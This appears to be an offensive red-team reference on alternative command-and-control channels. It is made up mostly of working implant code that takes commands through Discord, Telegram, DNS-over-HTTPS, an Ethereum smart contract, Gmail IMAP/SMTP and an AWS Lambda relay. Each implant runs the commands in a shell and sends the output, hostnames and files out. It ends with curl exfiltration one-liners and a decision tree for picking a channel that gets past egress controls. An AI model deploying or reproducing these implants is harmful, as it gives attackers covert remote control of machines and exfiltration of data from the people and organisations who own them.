Alternative C2 Channels

# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
  -d "{\"content\":\"$(whoami)\"}" \
  "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"

# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'

# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"

# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>

# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History

#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os

WEBHOOK_URL  = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN    = "<BOT_TOKEN>"
CHANNEL_ID   = "<CHANNEL_ID>"
HEADERS      = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP        = 30
LAST_MSG_ID  = None

def poll_command():
    global LAST_MSG_ID
    url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
    r = requests.get(url, headers=HEADERS)
    if r.status_code != 200:
        return None
    msgs = r.json()
    if not msgs:
        return None
    msg = msgs[0]
    if msg["id"] == LAST_MSG_ID:
        return None
    LAST_MSG_ID = msg["id"]
    return msg["content"]

def send_output(data):
    # Discord message limit is 2000 chars; chunk if needed
    for i in range(0, len(data), 1900):
        chunk = data[i:i+1900]
        requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})

while True:
    cmd = poll_command()
    if cmd and cmd.startswith("!exec "):
        try:
            out = subprocess.check_output(
                cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
            ).decode(errors="replace")
        except subprocess.TimeoutExpired:
            out = "[TIMEOUT]"
        except Exception as e:
            out = f"[ERROR] {e}"
        send_output(out)
    time.sleep(SLEEP)

# Create bot via @BotFather on Telegram:
#   /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'

#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time

BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID   = "<CHAT_ID>"
API       = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET    = 0
SLEEP     = 15

def poll():
    global OFFSET
    r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
    updates = r.json().get("result", [])
    for u in updates:
        OFFSET = u["update_id"] + 1
        text = u.get("message", {}).get("text", "")
        if text.startswith("/run "):
            yield text[5:]

def reply(text):
    # Telegram message limit: 4096 chars
    for i in range(0, len(text), 4000):
        requests.post(f"{API}/sendMessage", json={
            "chat_id": CHAT_ID,
            "text": f"```\n{text[i:i+4000]}\n```",
            "parse_mode": "Markdown"
        })

def upload(path):
    with open(path, "rb") as f:
        requests.post(f"{API}/sendDocument", data={"chat_id": CHAT_ID}, files={"document": f})

while True:
    for cmd in poll():
        if cmd.startswith("upload "):
            upload(cmd[7:])
            continue
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
            reply(out.decode(errors="replace"))
        except Exception as e:
            reply(f"[ERROR] {e}")
    time.sleep(SLEEP)

Implant -> HTTPS -> dns.google/resolve -> Authoritative NS (operator-controlled)
                                          ^
                                          | TXT records = encoded commands
                                          | A records   = encoded data

#!/bin/bash
# DoH C2 beacon — query operator's DNS for commands via Google DoH

C2_DOMAIN="c2.<TARGET>"
DOH_URL="https://dns.google/resolve"
SLEEP=60

encode() { echo -n "$1" | base64 | tr '+/=' '-_ ' | tr -d ' '; }
decode() { echo -n "$1" | tr '-_' '+/' | base64 -d 2>/dev/null; }

# Register implant
HOSTNAME=$(hostname)
IMPLANT_ID=$(encode "$HOSTNAME" | head -c 20)
curl -s "${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A" > /dev/null

while true; do
    # Poll for command
    RESP=$(curl -s "${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT")
    CMD=$(echo "$RESP" | jq -r '.Answer[0].data // empty' | tr -d '"')

    if [ -n "$CMD" ]; then
        DECODED=$(decode "$CMD")
        OUTPUT=$(eval "$DECODED" 2>&1 | head -c 200)
        ENCODED=$(encode "$OUTPUT")

        # Exfil output via subdomain labels (max 63 chars per label)
        for chunk in $(echo "$ENCODED" | fold -w 60); do
            curl -s "${DOH_URL}?name=${chunk}.out.${IMPLANT_ID}.${C2_DOMAIN}&type=A" > /dev/null
        done
    fi
    sleep $SLEEP
done

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract C2 {
    address private owner;
    mapping(bytes32 => string) private commands;
    mapping(bytes32 => string) private responses;

    constructor() { owner = msg.sender; }

    modifier onlyOwner() { require(msg.sender == owner, ""); _; }

    function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner {
        commands[implantId] = cmd;
    }

    function getCommand(bytes32 implantId) external view returns (string memory) {
        return commands[implantId];
    }

    function postResponse(bytes32 implantId, string calldata resp) external {
        responses[implantId] = resp;
    }

    function getResponse(bytes32 implantId) external view returns (string memory) {
        return responses[implantId];
    }
}

#!/usr/bin/env python3
"""Ethereum smart contract C2 — read commands from chain, post results."""
from web3 import Web3
import subprocess, time, hashlib

RPC_URL      = "https://mainnet.infura.io/v3/<API_KEY>"  # or any public RPC
CONTRACT_ADDR = "<DEPLOYED_CONTRACT_ADDRESS>"
ABI          = [...]  # ABI from compilation
IMPLANT_ID   = Web3.keccak(text=__import__("socket").gethostname())

w3 = Web3(Web3.HTTPProvider(RPC_URL))
contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)

while True:
    cmd = contract.functions.getCommand(IMPLANT_ID).call()
    if cmd:
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
            # Post response on-chain (requires funded wallet for gas)
            # For read-only implants, exfil via side channel instead
        except Exception as e:
            out = str(e).encode()
    time.sleep(300)

#!/usr/bin/env python3
"""Email C2 — read commands from IMAP inbox, send results via SMTP."""
import imaplib, smtplib, email, subprocess, time
from email.mime.text import MIMEText

IMAP_SERVER = "imap.gmail.com"
SMTP_SERVER = "smtp.gmail.com"
EMAIL_ADDR  = "<C2_EMAIL>@gmail.com"
EMAIL_PASS  = "<APP_PASSWORD>"
OPERATOR    = "<OPERATOR_EMAIL>"
SLEEP       = 120

def check_commands():
    imap = imaplib.IMAP4_SSL(IMAP_SERVER)
    imap.login(EMAIL_ADDR, EMAIL_PASS)
    imap.select("INBOX")
    _, nums = imap.search(None, "UNSEEN", f'FROM "{OPERATOR}"')
    commands = []
    for num in nums[0].split():
        _, data = imap.fetch(num, "(RFC822)")
        msg = email.message_from_bytes(data[0][1])
        body = msg.get_payload(decode=True).decode(errors="replace")
        commands.append(body.strip())
        imap.store(num, "+FLAGS", "\\Deleted")
    imap.expunge()
    imap.logout()
    return commands

def send_result(subject, body):
    msg = MIMEText(body)
    msg["Subject"] = subject
    msg["From"]    = EMAIL_ADDR
    msg["To"]      = OPERATOR
    with smtplib.SMTP_SSL(SMTP_SERVER, 465) as s:
        s.login(EMAIL_ADDR, EMAIL_PASS)
        s.send_message(msg)

while True:
    for cmd in check_commands():
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
            send_result(f"RE: Report {time.strftime('%H%M')}", out.decode(errors="replace"))
        except Exception as e:
            send_result("RE: Error", str(e))
    time.sleep(SLEEP)

# Lambda function — relays between implant and operator S3 bucket
import boto3, json

s3 = boto3.client("s3")
BUCKET = "<C2_BUCKET>"

def lambda_handler(event, context):
    body = json.loads(event.get("body", "{}"))
    action = body.get("action")
    implant_id = body.get("id", "unknown")

    if action == "checkin":
        # Return pending command from S3
        try:
            obj = s3.get_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
            cmd = obj["Body"].read().decode()
            s3.delete_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
            return {"statusCode": 200, "body": json.dumps({"cmd": cmd})}
        except s3.exceptions.NoSuchKey:
            return {"statusCode": 200, "body": json.dumps({"cmd": ""})}

    elif action == "result":
        # Store command output
        s3.put_object(
            Bucket=BUCKET,
            Key=f"out/{implant_id}/{context.aws_request_id}",
            Body=body.get("data", "").encode()
        )
        return {"statusCode": 200, "body": "ok"}

# Same pattern as Lambda — uses Azure Blob Storage instead of S3.
# Endpoint: https://<APP>.azurewebsites.net/api/c2
# Storage: Azure Blob container for cmd/{implant_id} and out/{implant_id}
# SKU: Consumption plan (serverless, pay-per-execution)

# Checkin — looks like normal API call to *.amazonaws.com or *.azurewebsites.net
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
  -H "Content-Type: application/json" \
  -d "{\"action\":\"checkin\",\"id\":\"$(hostname | md5sum | cut -c1-8)\"}"

# Post results
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
  -H "Content-Type: application/json" \
  -d "{\"action\":\"result\",\"id\":\"$(hostname | md5sum | cut -c1-8)\",\"data\":\"$(whoami | base64)\"}"

What constraints exist on outbound traffic?
├── Web traffic only (HTTP/HTTPS whitelisted)
│   ├── Social media allowed?
│   │   ├── YES -> Discord or Telegram C2 (fastest setup)
│   │   └── NO  -> Cloud function relay (*.amazonaws.com usually allowed)
│   └── Cloud services allowed?
│       ├── YES -> AWS Lambda / Azure Functions dead drop
│       └── NO  -> Domain fronting (see c2-domain-fronting skill)
├── DNS allowed (UDP/53 or DoH)
│   ├── DoH to Google/Cloudflare reachable?
│   │   ├── YES -> DoH C2 channel
│   │   └── NO  -> Traditional DNS tunneling (see Sliver DNS)
│   └── Custom authoritative NS available?
│       └── YES -> Full DNS C2 with TXT record encoding
├── Email allowed (IMAP/SMTP/EWS)
│   ├── Corporate Exchange/O365?
│   │   └── Use Graph API or EWS — blends with enterprise mail
│   └── External mail (Gmail)?
│       └── Email C2 with app passwords
└── Maximum stealth required
    ├── Blockchain C2 (censorship-resistant, no takedown)
    └── Combine channels: DoH for commands, Discord for exfil